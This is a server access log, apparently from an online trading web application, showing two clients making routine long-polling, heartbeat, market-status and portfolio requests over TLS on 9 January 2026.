[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921850336 HTTP/1.1" -
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1672
[09/Jan/2026:09:19:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921853598 HTTP/1.1" -
[09/Jan/2026:09:19:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:19:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921858767 HTTP/1.1" -
[09/Jan/2026:09:19:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921856049 HTTP/1.1" -
[09/Jan/2026:09:19:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921863882 HTTP/1.1" -
[09/Jan/2026:09:19:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921862047 HTTP/1.1" -
[09/Jan/2026:09:19:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921868937 HTTP/1.1" -
[09/Jan/2026:09:19:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921868051 HTTP/1.1" -
[09/Jan/2026:09:20:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921874079 HTTP/1.1" -
[09/Jan/2026:09:20:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921874055 HTTP/1.1" -
[09/Jan/2026:09:20:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921879252 HTTP/1.1" -
[09/Jan/2026:09:20:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:20:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:20:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921880059 HTTP/1.1" -
[09/Jan/2026:09:20:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921884369 HTTP/1.1" -
[09/Jan/2026:09:20:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:20:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:20:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921886047 HTTP/1.1" -
[09/Jan/2026:09:20:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921889904 HTTP/1.1" -
[09/Jan/2026:09:20:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921894964 HTTP/1.1" -
[09/Jan/2026:09:20:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921892048 HTTP/1.1" -
[09/Jan/2026:09:20:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921900167 HTTP/1.1" -
[09/Jan/2026:09:20:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921898054 HTTP/1.1" -
[09/Jan/2026:09:20:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921905296 HTTP/1.1" -
[09/Jan/2026:09:20:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921904068 HTTP/1.1" -
[09/Jan/2026:09:20:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921910404 HTTP/1.1" -
[09/Jan/2026:09:20:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:20:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:20:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921910694 HTTP/1.1" -
[09/Jan/2026:09:20:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921915533 HTTP/1.1" -
[09/Jan/2026:09:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:20:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921916065 HTTP/1.1" -
[09/Jan/2026:09:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921920721 HTTP/1.1" -
[09/Jan/2026:09:20:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921922049 HTTP/1.1" -
[09/Jan/2026:09:20:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921925773 HTTP/1.1" -
[09/Jan/2026:09:20:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921930838 HTTP/1.1" -
[09/Jan/2026:09:20:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921928056 HTTP/1.1" -
[09/Jan/2026:09:21:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921936007 HTTP/1.1" -
[09/Jan/2026:09:21:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921934060 HTTP/1.1" -
[09/Jan/2026:09:21:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921941146 HTTP/1.1" -
[09/Jan/2026:09:21:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921940053 HTTP/1.1" -
[09/Jan/2026:09:21:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:21:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:21:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921946343 HTTP/1.1" -
[09/Jan/2026:09:21:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:21:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:21:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921946058 HTTP/1.1" -
[09/Jan/2026:09:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921951546 HTTP/1.1" -
[09/Jan/2026:09:21:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921952049 HTTP/1.1" -
[09/Jan/2026:09:21:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921956611 HTTP/1.1" -
[09/Jan/2026:09:21:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921958058 HTTP/1.1" -
[09/Jan/2026:09:21:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921961670 HTTP/1.1" -
[09/Jan/2026:09:21:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921966799 HTTP/1.1" -
[09/Jan/2026:09:21:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921964061 HTTP/1.1" -
[09/Jan/2026:09:21:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921972005 HTTP/1.1" -
[09/Jan/2026:09:21:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921970052 HTTP/1.1" -
[09/Jan/2026:09:21:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:21:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:43 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921977159 HTTP/1.1" -
[09/Jan/2026:09:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:21:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:21:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921976049 HTTP/1.1" -
[09/Jan/2026:09:21:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921982303 HTTP/1.1" -
[09/Jan/2026:09:21:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921982059 HTTP/1.1" -
[09/Jan/2026:09:21:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921987385 HTTP/1.1" -
[09/Jan/2026:09:21:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921988047 HTTP/1.1" -
[09/Jan/2026:09:22:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921992465 HTTP/1.1" -
[09/Jan/2026:09:22:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921994050 HTTP/1.1" -
